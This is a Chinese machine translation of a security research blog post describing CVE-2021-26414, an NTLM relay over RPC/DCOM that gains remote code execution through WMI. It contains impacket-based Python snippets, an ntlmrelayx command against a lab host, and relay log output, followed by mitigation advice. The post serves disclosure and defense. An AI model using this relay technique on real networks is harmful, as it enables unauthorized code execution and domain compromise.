再次通过 RPC 中继 NTLM 组合拳打域

一年多以前，我在这个博客上写了一篇关于CVE-2020-1113 的文章，以及它如何通过 RPC 中继 NTLM 身份验证在远程系统上触发计划任务，从而在远程机器上启用代码执行。当时我写道：

作为 2020 年 5 月星期二更新的一部分，Microsoft 发布了一个修复程序。实施的解决方案增加了任务计划程序服务的完整性要求。它没有解决 RPC 缺乏全局完整性要求的问题。

然后在“后续步骤”部分中，我提到以下内容会很有趣：

开发更多的 RPC 攻击：使用 MS-DCOM、MS-WMI 或其他未经分析的协议，可能使攻击在 CVE-2020-1113 之外起作用。

你明白这是怎么回事吗？

CVE-2021-26414

再一次，由于 RPC 协议没有全局完整性验证要求，中间人攻击者可以通过 RPC 协议将受害者的 NTLM 身份验证中继到他选择的目标。如果受害者拥有目标的管理权限，攻击者就可以在远程目标上执行代码。

该漏洞是由 Compass Security 于 2021 年 6 月发现的，很快就发现它已经在较新版本的 Windows 中进行了修补。事实上，这个问题已经被腾讯安全实验室宣武的Dlive报告了。

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26414

作为 2021 年 6 月星期二更新的一部分，Microsoft 发布了一个修复程序。实施的解决方案增加了 DCOM 服务的完整性要求。它仍然没有解决 RPC 缺乏全局完整性要求的问题，但使一大类攻击变得不可能。

NTLM中继101

下图给出了 NTLM 中继攻击的简化视图：

攻击者充当客户端的服务器和服务器的客户端。他从客户端消息中提取 NTLM 身份验证 blob，并将它们放入修改后的消息中，反之亦然。最后，他可以根据需要使用经过身份验证的会话。

为了使这种攻击有效，需要处于中间人的位置。这可以使用传统的欺骗技术（ARP、DNS、LLMNR 和 Netbios 等）或通过错误或滥用功能（Printer Bug、PetitPotam、Juicy Potato 等）触发与攻击者机器的连接来实现。

之前的工作

自我上一篇博文以来，NTLM 中继已在多次攻击中使用和重用：

• 远程马铃薯由 安东尼奥Cocomazzi 和 安德烈Pierini
• Eyal Karni 和 Alex Ionescu 的MSRPC 打印机后台处理程序中继
• PetitPotam由吉尔·梅西是通过SMB触发计算机认证的最新方法

攻击！

重认证问题

去年，我在写：

MS-DCOM 被 MS-WMI 使用，是一个很好的攻击媒介。但是，由于典型的 WMI 代码执行需要对多个 RPC 接口进行身份验证，因此它不是 NTLM 中继攻击（没有重新身份验证方法）的最佳选择。

这是没有考虑到的最新发展impacket由0xdeaddood，其实现SMB重认证使用与响应STATUS_NETWORK_SESSION_EXPIRED标志设置。多么棒的功能啊！

两阶段攻击

由于 SMB 重新身份验证，我们可以对通过 WMI 执行代码所需的两个 RPC 接口进行身份验证。现在我们要做的就是将来自 impacket 的 wmiexec.py 的攻击分为两个阶段。当来自受害者的第一个身份验证到达时，我们实例化 DCOM 对象（使用RemoteCreateInstance）：

scm = IRemoteSCMActivator(self.client)
iInterface = scm.RemoteCreateInstance(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)

如果可行，我们将iInterface对象保存到第二阶段并等待重新验证。当第二次认证到来时，我们使用对象来执行代码：

iWbemLevel1Login = MyIWbemLevel1Login(iInterface, self.client)
iWbemServices = MyIWbemServices(iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL), self.client)
iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
win32Process.Create(self.config.command, str('C:\'), None)

PoC 或 GTFO

在我们的设置中，攻击者机器有 IP 172.16.100.248，目标机器 FILESHARE是 Windows Server 2016，有 IP 172.16.100.14。受害用户 WINLABscooper-da 在Administrators 目标机器的本地 组中，并从 IP 172.16.100.18的机器打开 SMB 连接 。

攻击者安装我们自定义版本的 impacket 并在其 IP 为172.16.100.248 的主机上启动该工具。他想calc.exe在目标 上启动172.16.100.14：

# python3 ./examples/ntlmrelayx.py -debug -t dcom1://172.16.100.14 -c "calc.exe"
Impacket v0.9.23.dev1 - Copyright 2020 SecureAuth Corporation

[CUT BY COMPASS]
[*] Protocol Client DCOM1 loaded..
[*] Protocol Client DCOM2 loaded..
[+] Protocol Attack DCOM2 loaded..
[+] Protocol Attack DCOM1 loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server

[*] Servers started, waiting for connections

从机器上 172.16.100.18，受害者打开一个到攻击者机器的 SMB 连接。这模仿管理员访问共享或执行管理任务：

> net view \172.16.100.248burpisnotbeef

该工具选择连接并中继它。由于中继用户是目标机器上的本地管理员，他有执行远程命令的权限：

[*] SMBD-Thread-4: Connection from WINLAB/[email protected] controlled, attacking target dcom1://172.16.100.14
[*] Authenticating against dcom1://172.16.100.14 as WINLAB/SCOOPER-DA SUCCEED
[+] DCOM1 Attack, CoCreateInstanceEx
[+] No need to do a bind ... doing nothing
[+] DCOM1 Attack, Done. Saving interface for later
[*] SMBD-Thread-4: Connection from WINLAB/[email protected] controlled, attacking target dcom2://[email protected]
[+] initializing DCOM2RelayClient
[+] initializing DCOM2RelayClient connection, looking for INTERFACE with parameters 172.16.100.14, WINLAB/SCOOPER-DA
[+] Target system is 172.16.100.14 and isFDQN is False
[+] StringBinding: \\FILESHARE[\PIPE\atsvc]
[+] StringBinding: FILESHARE[49669]
[+] StringBinding: 172.16.100.14[49669]
[+] StringBinding chosen: ncacn_ip_tcp:172.16.100.14[49669]
[*] Authenticating against dcom2://[email protected] as WINLAB/SCOOPER-DA SUCCEED
[+] DCOM2 Attack, looking for interface with params 172.16.100.14, WINLAB/SCOOPER-DA
[+] DCOM2 Attack, Level1Login
[+] DCOM2 Attack, RemRelease
[+] DCOM2 Attack, GetObjet Win32_Process
[+] DCOM2 Attack, Execute command

因此，代码在 FILESHARE 机器上执行。

攻击者机器上的 Wireshark dump 显示了攻击过程：

我们看到了上面的中继身份验证和两个攻击阶段。还要注意设置为“连接”的“身份验证级别”。

试一试

这也是Dlive在DEFCON 29 上提出的，他的代码可能会发布，我们将更新这篇博文。

缓解措施

这种攻击依赖于几个问题。以下是解决根本问题的一些措施：

• 修补 您的 Windows！并确保您的设置在 DCOM 上强制执行完整性（请参阅Microsoft 更新指南）
• 通过 GPO 为整个网络中的客户端和服务器强制执行 数据包签名。
• 检查您的 Active Directory ACL：应该使用最小权限原则。
• 网络 分段 可以帮助防止中继攻击。
• 现在停止使用 NTLM 🤡

下一步

仍有可能开发出更多的 RPC 攻击。是否有其他协议未被分析并允许代码执行？如果您有想法，请告诉我！

致谢

• agsolino , MartinGalloAr和0xdeaddood用于伟大的冲击
• 本文中提到的所有其他作者和研究人员

点评

最新动态

• 公众号: 甲方安全建设 (整理沉淀)

• 作者: red4blue (交流讨论)

• 知识星球: 红蓝早读 (碎片记录)

公众号增改字数和次数有限，防御检测策略，其它拓展思考，可能会留到群里讨论，留到星球沉淀.

译文申明

• 文章来源为近期阅读文章，质量尚可的，大部分较新，但也可能有老文章。
• 开卷有益，不求甚解，不需面面俱到，能学到一个小技巧就赚了。
• 译文仅供参考，具体内容表达以及含义, 以原文为准 (译文来自自动翻译)
• 如英文不错的，尽量阅读原文。(点击原文跳转)
• 每日早读定期删除，可能3-7天.
  
• 每日早读基本自动化发布，这是一项测试

Follow Me

微信/微博：red4blue

公众号/知乎：blueteams